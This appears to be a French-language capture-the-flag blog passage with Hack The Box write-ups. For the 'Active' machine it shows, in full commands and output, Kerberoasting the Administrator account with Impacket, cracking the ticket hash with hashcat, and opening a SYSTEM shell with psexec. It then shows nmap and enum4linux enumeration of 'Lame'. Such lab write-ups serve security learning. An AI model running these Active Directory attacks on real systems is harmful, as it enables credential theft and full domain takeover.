smb: \> ls
 . DR 0 Sat Jul 21 10:39:20 2018
 .. DR 0 Sat Jul 21 10:39:20 2018
 Administrator D 0 Mon Jul 16 06:14:21 2018
 All Users DHSrn 0 Tue Jul 14 01:06:44 2009
 Default DHR 0 Tue Jul 14 02:38:21 2009
 Default User DHSrn 0 Tue Jul 14 01:06:44 2009
 desktop.ini AHS 174 Tue Jul 14 00:57:55 2009
 Public DR 0 Tue Jul 14 00:57:55 2009
 SVC_TGS D 0 Sat Jul 21 11:16:32 2018

 5217023 blocks of size 4096. 278586 blocks available
smb: \> cd SVC_TGS\
smb: \SVC_TGS\> ls
 . D 0 Sat Jul 21 11:16:32 2018
 .. D 0 Sat Jul 21 11:16:32 2018
 Contacts D 0 Sat Jul 21 11:14:11 2018
 Desktop D 0 Sat Jul 21 11:14:42 2018
 Downloads D 0 Sat Jul 21 11:14:23 2018
 Favorites D 0 Sat Jul 21 11:14:44 2018
 Links D 0 Sat Jul 21 11:14:57 2018
 My Documents D 0 Sat Jul 21 11:15:03 2018
 My Music D 0 Sat Jul 21 11:15:32 2018
 My Pictures D 0 Sat Jul 21 11:15:43 2018
 My Videos D 0 Sat Jul 21 11:15:53 2018
 Saved Games D 0 Sat Jul 21 11:16:12 2018
 Searches D 0 Sat Jul 21 11:16:24 2018

 5217023 blocks of size 4096. 278586 blocks available

┌──(kali㉿kali)-[~/htb/Active/bloodhound1]
└─$ sudo mount -t cifs -o username='SVC_TGS',password='GPPstillStandingStrong2k18' //10.10.10.100/Users/SVC_TGS /mnt/smb

┌──(kali㉿kali)-[~/htb/Active/bloodhound1]
└─$ xdg-open /mnt/smb

Privilege Escalation

Kerberoasting Attack on SPN ‘CIFS’

Cette commande exécute l’outil GetUserSPNs.py de la suite Impacket pour récupérer les Service Principal Names (SPN) configurés dans l’Active Directory, liés à des comptes de service. Ici, nous vérifions s’il existe un SPN qui pourrait être exploité pour effectuer une attaque de Kerberoasting.

1
2
3
4
5
6


$ impacket-GetUserSPNs active.htb/SVC_TGS:"GPPstillStandingStrong2k18" -dc-ip 10.10.10.100
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2025-01-04 07:30:15.825757

L’option -request permet de demander un ticket TGS (Ticket Granting Service) pour les SPN trouvés. Ce ticket est ensuite extrait sous forme de hash Kerberos, qui pourra être craqué hors ligne.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10


$ impacket-GetUserSPNs active.htb/SVC_TGS:"GPPstillStandingStrong2k18" -request -dc-ip 10.10.10.100

Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

ServicePrincipalName Name MemberOf PasswordLastSet LastLogon Delegation
-------------------- ------------- -------------------------------------------------------- -------------------------- -------------------------- ----------
active/CIFS:445 Administrator CN=Group Policy Creator Owners,CN=Users,DC=active,DC=htb 2018-07-18 15:06:40.351723 2025-01-04 07:30:15.825757

[-] CCache file is not found. Skipping...
$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$8852493078c2a4f352f6468b34dcd243$38b8aa13f6ffb46cd7866c10ab7d0dc3a54117cfe4cd271fba599fa52f84b826cb94edda0fada6c386721fa3edfc10cf58b23c35cfdbd409e42d9ba81b84cab539fb285d561f7a8c15f3ee813eede43d56618635868377a8b9fe39c0708da79aebe14351a3bcf89b1d6f248a545a042772b27bd528c91df09e5b900df3b5188cd734316acd1416c63bf032540166f0e319db943dc7a099234da10956156f753927dafbb8f1c244df2b4a3c349f333a1cb6d26ae607a037b9a39a0f995f8ba811d7b8dfc58100c6b88b8493c1d85dee40d784f275c24184e727c3e55baa2fa233a28a820e5d04684b320b925588f9eb37568891bef410775ec5c001c0dbbe9b8b1acce9b7b55aa54b37367fabede080a6a270e5a79b49ff27f83f90da85a6bbe4a99210d6fb4a9d01faee68080243f6bc04131beb8111fceeedc87bbdd9168d95d3e15e262ed2a7a0bbda46c0a51bdbb32fc98bd81252f31f928e317b06a768ed51e75e58dc66b430f9638d2996944b324ea624be7fc9a24ff5b2cd4ab9ae0b156fc9747c8c7482b785815c46293b772f1d920c776b2a6aa2ab1bf815543ba5070381cd55f21b4c9b9a70172c3e637dad6e91c1e03651de9f8532e537119b2062f63c92a771ba8fe33b3ca7a674a204331d3f577bff722492b960c241a84c59f63b28b7eeba74c37db41f4d91215e3421d820b39b4a1dfd9477b885385c8bf578718ef8f8ca659818795dd182bc91f7e13afae7cf4e38cf9bb5f4e6530ec9ae3272873e706dd528e52bbedfd39de18621c71eed9556eaec0d53b7655a4b8ec5ee1e54b408f7416197e66ea5650b317deb4b50dda2d1164ce4e51d802e099dbed074edb67b9fa2cf90ae3535fbfad2be12fe224132132040e1e842355ad2783c07c376e2f97017cc84d266bb8127681edfdaae6fa0de25a3092fecb65860d22279a50db9c0f339f5ea4b21fa96007757b9099aca27c87e34403149179c77dcbe5e546db3960f768a2cccbff8fdb869b61c312357186bc803e56b76a503d9716549e53ada50aeb8eaf0018bed0449a63d4a69fb985eacb782f48e5f6c18603ce64ad7f5acc2046798a13de5c8da29e9ec5b763c63d19fdb9fc9d41fd6f704098ff0fda0220ea2ba32ada95eba169827ef9ad50c77475ef5dc45cc56063c28462a1a81786271ed6ae8505d3aca6b81aa9c1e9964a3dec3277a526a239241251a3c05bcbab5b30e596e23c189bcc442170b3b09a3e9f8b2e5d00cae47

Ce résultat correspond au hash TGS récupéré pour le compte Administrator.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33


» vim admin_hash.txt
» hashcat -m 13100 -a 0 admin_hash.txt ~/wordlists/rockyou.txt
hashcat (v6.2.5) starting

Dictionary cache hit:
* Filename..: /home/leopold/wordlists/rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139922195
* Keyspace..: 14344385

$krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Administrator*$8852493078c2a4f352f6468b34dcd243$38b8aa13f6ffb46cd7866c10ab7d0dc3a54117cfe4cd271fba599fa52f84b826cb94edda0fada6c386721fa3edfc10cf58b23c35cfdbd409e42d9ba81b84cab539fb285d561f7a8c15f3ee813eede43d56618635868377a8b9fe39c0708da79aebe14351a3bcf89b1d6f248a545a042772b27bd528c91df09e5b900df3b5188cd734316acd1416c63bf032540166f0e319db943dc7a099234da10956156f753927dafbb8f1c244df2b4a3c349f333a1cb6d26ae607a037b9a39a0f995f8ba811d7b8dfc58100c6b88b8493c1d85dee40d784f275c24184e727c3e55baa2fa233a28a820e5d04684b320b925588f9eb37568891bef410775ec5c001c0dbbe9b8b1acce9b7b55aa54b37367fabede080a6a270e5a79b49ff27f83f90da85a6bbe4a99210d6fb4a9d01faee68080243f6bc04131beb8111fceeedc87bbdd9168d95d3e15e262ed2a7a0bbda46c0a51bdbb32fc98bd81252f31f928e317b06a768ed51e75e58dc66b430f9638d2996944b324ea624be7fc9a24ff5b2cd4ab9ae0b156fc9747c8c7482b785815c46293b772f1d920c776b2a6aa2ab1bf815543ba5070381cd55f21b4c9b9a70172c3e637dad6e91c1e03651de9f8532e537119b2062f63c92a771ba8fe33b3ca7a674a204331d3f577bff722492b960c241a84c59f63b28b7eeba74c37db41f4d91215e3421d820b39b4a1dfd9477b885385c8bf578718ef8f8ca659818795dd182bc91f7e13afae7cf4e38cf9bb5f4e6530ec9ae3272873e706dd528e52bbedfd39de18621c71eed9556eaec0d53b7655a4b8ec5ee1e54b408f7416197e66ea5650b317deb4b50dda2d1164ce4e51d802e099dbed074edb67b9fa2cf90ae3535fbfad2be12fe224132132040e1e842355ad2783c07c376e2f97017cc84d266bb8127681edfdaae6fa0de25a3092fecb65860d22279a50db9c0f339f5ea4b21fa96007757b9099aca27c87e34403149179c77dcbe5e546db3960f768a2cccbff8fdb869b61c312357186bc803e56b76a503d9716549e53ada50aeb8eaf0018bed0449a63d4a69fb985eacb782f48e5f6c18603ce64ad7f5acc2046798a13de5c8da29e9ec5b763c63d19fdb9fc9d41fd6f704098ff0fda0220ea2ba32ada95eba169827ef9ad50c77475ef5dc45cc56063c28462a1a81786271ed6ae8505d3aca6b81aa9c1e9964a3dec3277a526a239241251a3c05bcbab5b30e596e23c189bcc442170b3b09a3e9f8b2e5d00cae47:Ticketmaster1968

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 13100 (Kerberos 5, etype 23, TGS-REP)
Hash.Target......: $krb5tgs$23$*Administrator$ACTIVE.HTB$active.htb/Ad...0cae47
Time.Started.....: Sun Jan 5 01:39:10 2025 (1 sec)
Time.Estimated...: Sun Jan 5 01:39:11 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (/home/leopold/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 7678.4 kH/s (9.15ms) @ Accel:1024 Loops:1 Thr:32 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 10616832/14344385 (74.01%)
Rejected.........: 0/10616832 (0.00%)
Restore.Point....: 10321920/14344385 (71.96%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: ahki_22 -> Saboka54
Hardware.Mon.#1..: Temp: 36c Fan: 46% Util: 23% Core:1860MHz Mem:3802MHz Bus:16

Started: Sun Jan 5 01:39:09 2025
Stopped: Sun Jan 5 01:39:12 2025

On trouve le mot de passe de l’administrateur ! Administrator:Ticketmaster1968

On peut maintenant se connecter en SMB et accéder au dossier de l’adminstrateur dans le share “USERS” qui était bloqué auparavant. On obtient bien le flag root.txt.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47


$ smbclient //10.10.10.100/Users -U 'Administrator%Ticketmaster1968'
Try "help" to get a list of possible commands.
smb: \> cd Administrator\
smb: \Administrator\> ls
 . D 0 Mon Jul 16 06:14:21 2018
 .. D 0 Mon Jul 16 06:14:21 2018
 AppData DHn 0 Sat Jan 4 07:29:39 2025
 Application Data DHSrn 0 Mon Jul 16 06:14:15 2018
 Contacts DR 0 Mon Jul 30 09:50:10 2018
 Cookies DHSrn 0 Mon Jul 16 06:14:15 2018
 Desktop DR 0 Thu Jan 21 11:49:47 2021
 Documents DR 0 Mon Jul 30 09:50:10 2018
 Downloads DR 0 Thu Jan 21 11:52:32 2021
 Favorites DR 0 Mon Jul 30 09:50:10 2018
 Links DR 0 Mon Jul 30 09:50:10 2018
 Local Settings DHSrn 0 Mon Jul 16 06:14:15 2018
 Music DR 0 Mon Jul 30 09:50:10 2018
 My Documents DHSrn 0 Mon Jul 16 06:14:15 2018
 NetHood DHSrn 0 Mon Jul 16 06:14:15 2018
 NTUSER.DAT AHSn 524288 Sat Jan 4 07:30:15 2025
 ntuser.dat.LOG1 AHS 262144 Sat Jan 4 08:05:30 2025
 ntuser.dat.LOG2 AHS 0 Mon Jul 16 06:14:09 2018
 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf AHS 65536 Mon Jul 16 06:14:15 2018
 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms AHS 524288 Mon Jul 16 06:14:15 2018
 NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms AHS 524288 Mon Jul 16 06:14:15 2018
 ntuser.ini HS 20 Mon Jul 16 06:14:15 2018
 Pictures DR 0 Mon Jul 30 09:50:10 2018
 PrintHood DHSrn 0 Mon Jul 16 06:14:15 2018
 Recent DHSrn 0 Mon Jul 16 06:14:15 2018
 Saved Games DR 0 Mon Jul 30 09:50:10 2018
 Searches DR 0 Mon Jul 30 09:50:10 2018
 SendTo DHSrn 0 Mon Jul 16 06:14:15 2018
 Start Menu DHSrn 0 Mon Jul 16 06:14:15 2018
 Templates DHSrn 0 Mon Jul 16 06:14:15 2018
 Videos DR 0 Mon Jul 30 09:50:10 2018

 5217023 blocks of size 4096. 277230 blocks available
smb: \Administrator\> cd Desktop
smb: \Administrator\Desktop\> cat root.txt
cat: command not found
smb: \Administrator\Desktop\> get root.txt
getting file \Administrator\Desktop\root.txt of size 34 as root.txt (0.5 KiloBytes/sec) (average 0.5 KiloBytes/sec)
smb: \Administrator\Desktop\>

┌──(kali㉿kali)-[~/htb/Active/bloodhound2]
└─$ cat root.txt
5d2a.....fb20

Administrator shell

Grâce à l’outil psexec.py de la suite Impacket, j’ai pu obtenir un shell interactif avec les privilèges les plus élevés (NT AUTHORITY\SYSTEM) sur la machine cible. Cela a été possible en utilisant les identifiants de l’utilisateur Administrator pour se connecter au partage SMB ADMIN$, uploader un exécutable temporaire, et créer un service Windows pour l’exécuter. Une fois le service démarré, un accès complet au système a été établi, permettant un contrôle total de la machine.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15


$ impacket-psexec Administrator:"Ticketmaster1968"@10.10.10.100
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies

[*] Requesting shares on 10.10.10.100.....
[*] Found writable share ADMIN$
[*] Uploading file lwoxkZvR.exe
[*] Opening SVCManager on 10.10.10.100.....
[*] Creating service zfLo on 10.10.10.100.....
[*] Starting service zfLo.....
[!] Press help for extra shell commands
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

C:\Windows\system32> whoami
nt authority\system

HTB | Lame

Tue, 17 Dec 2024 00:00:00 +0000

Machine name	OS	IP	Difficulty
Lame	Linux	10.10.10.3	Easy

Enumeration

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40


$ nmap -vvv -sC -sV -An -p- 10.10.10.3 -Pn
PORT STATE SERVICE REASON VERSION
21/tcp open ftp syn-ack vsftpd 2.3.4
|_ftp-anon: Anonymous FTP login allowed (FTP code 230)
| ftp-syst:
| STAT:
| FTP server status:
| Connected to 10.10.16.11
| Logged in as ftp
| TYPE: ASCII
| No session bandwidth limit
| Session timeout in seconds is 300
| Control connection is plain text
| Data connections will be plain text
| vsFTPd 2.3.4 - secure, fast, stable
|_End of status
22/tcp open ssh syn-ack OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
| ssh-hostkey:
| 1024 60:0f:cf:e1:c0:5f:6a:74:d6:90:24:fa:c4:d5:6c:cd (DSA)
| ssh-dss AAAAB3NzaC1kc3MAAACBALz4hsc8a2Srq4nlW960qV8xwBG0JC+jI7fWxm5METIJH4tKr/xUTwsTYEYnaZLzcOiy21D3ZvOwYb6AA3765zdgCd2Tgand7F0YD5UtXG7b7fbz99chReivL0SIWEG/E96Ai+pqYMP2WD5KaOJwSIXSUajnU5oWmY5x85sBw+XDAAAAFQDFkMpmdFQTF+oRqaoSNVU7Z+hjSwAAAIBCQxNKzi1TyP+QJIFa3M0oLqCVWI0We/ARtXrzpBOJ/dt0hTJXCeYisKqcdwdtyIn8OUCOyrIjqNuA2QW217oQ6wXpbFh+5AQm8Hl3b6C6o8lX3Ptw+Y4dp0lzfWHwZ/jzHwtuaDQaok7u1f971lEazeJLqfiWrAzoklqSWyDQJAAAAIA1lAD3xWYkeIeHv/R3P9i+XaoI7imFkMuYXCDTq843YU6Td+0mWpllCqAWUV/CQamGgQLtYy5S0ueoks01MoKdOMMhKVwqdr08nvCBdNKjIEd3gH6oBk/YRnjzxlEAYBsvCmM4a0jmhz0oNiRWlc/F+bkUeFKrBx/D2fdfZmhrGg==
| 2048 56:56:24:0f:21:1d:de:a7:2b:ae:61:b1:24:3d:e8:f3 (RSA)
|_ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAstqnuFMBOZvO3WTEjP4TUdjgWkIVNdTq6kboEDjteOfc65TlI7sRvQBwqAhQjeeyyIk8T55gMDkOD0akSlSXvLDcmcdYfxeIF0ZSuT+nkRhij7XSSA/Oc5QSk3sJ/SInfb78e3anbRHpmkJcVgETJ5WhKObUNf1AKZW++4Xlc63M4KI5cjvMMIPEVOyR3AKmI78Fo3HJjYucg87JjLeC66I7+dlEYX6zT8i1XYwa/L1vZ3qSJISGVu8kRPikMv/cNSvki4j+qDYyZ2E5497W87+Ed46/8P42LNGoOV8OcX/ro6pAcbEPUdUEfkJrqi2YXbhvwIJ0gFMb6wfe5cnQew==
139/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn syn-ack Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
3632/tcp open distccd syn-ack distccd v1 ((GNU) 4.2.4 (Ubuntu 4.2.4-1ubuntu4))
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_ms-sql-info: ERROR: Script execution failed (use -d to debug)
| p2p-conficker:
| Checking for Conficker.C or higher...
| Check 1 (port 59488/tcp): CLEAN (Timeout)
| Check 2 (port 46758/tcp): CLEAN (Timeout)
| Check 3 (port 14597/udp): CLEAN (Timeout)
| Check 4 (port 40169/udp): CLEAN (Timeout)
|_ 0/4 checks are positive: Host is CLEAN or ports are blocked
|_smb-os-discovery: ERROR: Script execution failed (use -d to debug)
|_smb-security-mode: ERROR: Script execution failed (use -d to debug)
|_smb2-security-mode: Couldn't establish a SMBv2 connection.
|_smb2-time: Protocol negotiation failed (SMB2)

enum4linux

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267


$ enum4linux 10.10.10.3
Starting enum4linux v0.9.1 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Tue Dec 17 17:01:25 2024

 =========================================( Target Information )=========================================

Target ........... 10.10.10.3
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 =============================( Enumerating Workgroup/Domain on 10.10.10.3 )=============================

[E] Can't find workgroup/domain


 =================================( Nbtstat Information for 10.10.10.3 )=================================

Looking up status of 10.10.10.3
No reply from 10.10.10.3

 ====================================( Session Check on 10.10.10.3 )====================================


[+] Server 10.10.10.3 allows sessions using username '', password ''


 =================================( Getting domain SID for 10.10.10.3 )=================================

Domain Name: WORKGROUP
Domain Sid: (NULL SID)

[+] Can't determine if host is part of domain or part of a workgroup


 ====================================( OS information on 10.10.10.3 )====================================


[E] Can't get OS info with smbclient


[+] Got OS info for 10.10.10.3 from srvinfo:
 LAME Wk Sv PrQ Unx NT SNT lame server (Samba 3.0.20-Debian)
 platform_id : 500
 os version : 4.9
 server type : 0x9a03


 ========================================( Users on 10.10.10.3 )========================================

index: 0x1 RID: 0x3f2 acb: 0x00000011 Account: games Name: games Desc: (null)
index: 0x2 RID: 0x1f5 acb: 0x00000011 Account: nobody Name: nobody Desc: (null)
index: 0x3 RID: 0x4ba acb: 0x00000011 Account: bind Name: (null) Desc: (null)
index: 0x4 RID: 0x402 acb: 0x00000011 Account: proxy Name: proxy Desc: (null)
index: 0x5 RID: 0x4b4 acb: 0x00000011 Account: syslog Name: (null) Desc: (null)
index: 0x6 RID: 0xbba acb: 0x00000010 Account: user Name: just a user,111,, Desc: (null)
index: 0x7 RID: 0x42a acb: 0x00000011 Account: www-data Name: www-data Desc: (null)
index: 0x8 RID: 0x3e8 acb: 0x00000011 Account: root Name: root Desc: (null)
index: 0x9 RID: 0x3fa acb: 0x00000011 Account: news Name: news Desc: (null)
index: 0xa RID: 0x4c0 acb: 0x00000011 Account: postgres Name: PostgreSQL administrator,,, Desc: (null)
index: 0xb RID: 0x3ec acb: 0x00000011 Account: bin Name: bin Desc: (null)
index: 0xc RID: 0x3f8 acb: 0x00000011 Account: mail Name: mail Desc: (null)
index: 0xd RID: 0x4c6 acb: 0x00000011 Account: distccd Name: (null) Desc: (null)
index: 0xe RID: 0x4ca acb: 0x00000011 Account: proftpd Name: (null) Desc: (null)
index: 0xf RID: 0x4b2 acb: 0x00000011 Account: dhcp Name: (null) Desc: (null)
index: 0x10 RID: 0x3ea acb: 0x00000011 Account: daemon Name: daemon Desc: (null)
index: 0x11 RID: 0x4b8 acb: 0x00000011 Account: sshd Name: (null) Desc: (null)
index: 0x12 RID: 0x3f4 acb: 0x00000011 Account: man Name: man Desc: (null)
index: 0x13 RID: 0x3f6 acb: 0x00000011 Account: lp Name: lp Desc: (null)
index: 0x14 RID: 0x4c2 acb: 0x00000011 Account: mysql Name: MySQL Server,,, Desc: (null)
index: 0x15 RID: 0x43a acb: 0x00000011 Account: gnats Name: Gnats Bug-Reporting System (admin) Desc: (null)
index: 0x16 RID: 0x4b0 acb: 0x00000011 Account: libuuid Name: (null) Desc: (null)
index: 0x17 RID: 0x42c acb: 0x00000011 Account: backup Name: backup Desc: (null)
index: 0x18 RID: 0xbb8 acb: 0x00000010 Account: msfadmin Name: msfadmin,,, Desc: (null)
index: 0x19 RID: 0x4c8 acb: 0x00000011 Account: telnetd Name: (null) Desc: (null)
index: 0x1a RID: 0x3ee acb: 0x00000011 Account: sys Name: sys Desc: (null)
index: 0x1b RID: 0x4b6 acb: 0x00000011 Account: klog Name: (null) Desc: (null)
index: 0x1c RID: 0x4bc acb: 0x00000011 Account: postfix Name: (null) Desc: (null)
index: 0x1d RID: 0xbbc acb: 0x00000011 Account: service Name: ,,, Desc: (null)
index: 0x1e RID: 0x434 acb: 0x00000011 Account: list Name: Mailing List Manager Desc: (null)
index: 0x1f RID: 0x436 acb: 0x00000011 Account: irc Name: ircd Desc: (null)
index: 0x20 RID: 0x4be acb: 0x00000011 Account: ftp Name: (null) Desc: (null)
index: 0x21 RID: 0x4c4 acb: 0x00000011 Account: tomcat55 Name: (null) Desc: (null)
index: 0x22 RID: 0x3f0 acb: 0x00000011 Account: sync Name: sync Desc: (null)
index: 0x23 RID: 0x3fc acb: 0x00000011 Account: uucp Name: uucp Desc: (null)

user:[games] rid:[0x3f2]
user:[nobody] rid:[0x1f5]
user:[bind] rid:[0x4ba]
user:[proxy] rid:[0x402]
user:[syslog] rid:[0x4b4]
user:[user] rid:[0xbba]
user:[www-data] rid:[0x42a]
user:[root] rid:[0x3e8]
user:[news] rid:[0x3fa]
user:[postgres] rid:[0x4c0]
user:[bin] rid:[0x3ec]
user:[mail] rid:[0x3f8]
user:[distccd] rid:[0x4c6]
user:[proftpd] rid:[0x4ca]
user:[dhcp] rid:[0x4b2]
user:[daemon] rid:[0x3ea]
user:[sshd] rid:[0x4b8]
user:[man] rid:[0x3f4]
user:[lp] rid:[0x3f6]
user:[mysql] rid:[0x4c2]
user:[gnats] rid:[0x43a]
user:[libuuid] rid:[0x4b0]
user:[backup] rid:[0x42c]
user:[msfadmin] rid:[0xbb8]
user:[telnetd] rid:[0x4c8]
user:[sys] rid:[0x3ee]
user:[klog] rid:[0x4b6]
user:[postfix] rid:[0x4bc]
user:[service] rid:[0xbbc]
user:[list] rid:[0x434]
user:[irc] rid:[0x436]
user:[ftp] rid:[0x4be]
user:[tomcat55] rid:[0x4c4]
user:[sync] rid:[0x3f0]
user:[uucp] rid:[0x3fc]

 ==================================( Share Enumeration on 10.10.10.3 )==================================


 Sharename Type Comment
 --------- ---- -------
 print$ Disk Printer Drivers
 tmp Disk oh noes!
 opt Disk
 IPC$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
 ADMIN$ IPC IPC Service (lame server (Samba 3.0.20-Debian))
Reconnecting with SMB1 for workgroup listing.

 Server Comment
 --------- -------

 Workgroup Master
 --------- -------
 WORKGROUP LAME

[+] Attempting to map shares on 10.10.10.3

//10.10.10.3/print$ Mapping: DENIED Listing: N/A Writing: N/A
//10.10.10.3/tmp Mapping: OK Listing: OK Writing: N/A
//10.10.10.3/opt Mapping: DENIED Listing: N/A Writing: N/A

[E] Can't understand response:

NT_STATUS_NETWORK_ACCESS_DENIED listing \*
//10.10.10.3/IPC$ Mapping: N/A Listing: N/A Writing: N/A
//10.10.10.3/ADMIN$ Mapping: DENIED Listing: N/A Writing: N/A

 =============================( Password Policy Information for 10.10.10.3 )=============================



[+] Attaching to 10.10.10.3 using a NULL share

[+] Trying protocol 139/SMB...

[+] Found domain(s):

 [+] LAME
 [+] Builtin

[+] Password Info for Domain: LAME

 [+] Minimum password length: 5
 [+] Password history length: None
 [+] Maximum password age: Not Set
 [+] Password Complexity Flags: 000000

 [+] Domain Refuse Password Change: 0
 [+] Domain Password Store Cleartext: 0
 [+] Domain Password Lockout Admins: 0
 [+] Domain Password No Clear Change: 0
 [+] Domain Password No Anon Change: 0
 [+] Domain Password Complex: 0

 [+] Minimum password age: None
 [+] Reset Account Lockout Counter: 30 minutes
 [+] Locked Account Duration: 30 minutes
 [+] Account Lockout Threshold: None
 [+] Forced Log off Time: Not Set



[+] Retieved partial password policy with rpcclient:


Password Complexity: Disabled
Minimum Password Length: 0


 ========================================( Groups on 10.10.10.3 )========================================


[+] Getting builtin groups:


[+] Getting builtin group memberships:


[+] Getting local groups:


[+] Getting local group memberships:


[+] Getting domain groups:


[+] Getting domain group memberships:


 ===================( Users on 10.10.10.3 via RID cycling (RIDS: 500-550,1000-1050) )===================


[I] Found new SID:
S-1-5-21-2446995257-2525374255-2673161615

[+] Enumerating users using SID S-1-5-21-2446995257-2525374255-2673161615 and logon username '', password ''

S-1-5-21-2446995257-2525374255-2673161615-500 LAME\Administrator (Local User)
S-1-5-21-2446995257-2525374255-2673161615-501 LAME\nobody (Local User)
S-1-5-21-2446995257-2525374255-2673161615-512 LAME\Domain Admins (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-513 LAME\Domain Users (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-514 LAME\Domain Guests (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1000 LAME\root (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1001 LAME\root (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1002 LAME\daemon (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1003 LAME\daemon (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1004 LAME\bin (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1005 LAME\bin (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1006 LAME\sys (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1007 LAME\sys (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1008 LAME\sync (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1009 LAME\adm (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1010 LAME\games (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1011 LAME\tty (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1012 LAME\man (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1013 LAME\disk (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1014 LAME\lp (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1015 LAME\lp (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1016 LAME\mail (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1017 LAME\mail (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1018 LAME\news (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1019 LAME\news (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1020 LAME\uucp (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1021 LAME\uucp (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1025 LAME\man (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1026 LAME\proxy (Local User)
S-1-5-21-2446995257-2525374255-2673161615-1027 LAME\proxy (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1031 LAME\kmem (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1041 LAME\dialout (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1043 LAME\fax (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1045 LAME\voice (Domain Group)
S-1-5-21-2446995257-2525374255-2673161615-1049 LAME\cdrom (Domain Group)

 ================================( Getting printer info for 10.10.10.3 )================================

No printers returned.


enum4linux complete on Tue Dec 17 17:02:53 2024

Exploitation

Samba smbd 3.0.20-Debian

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
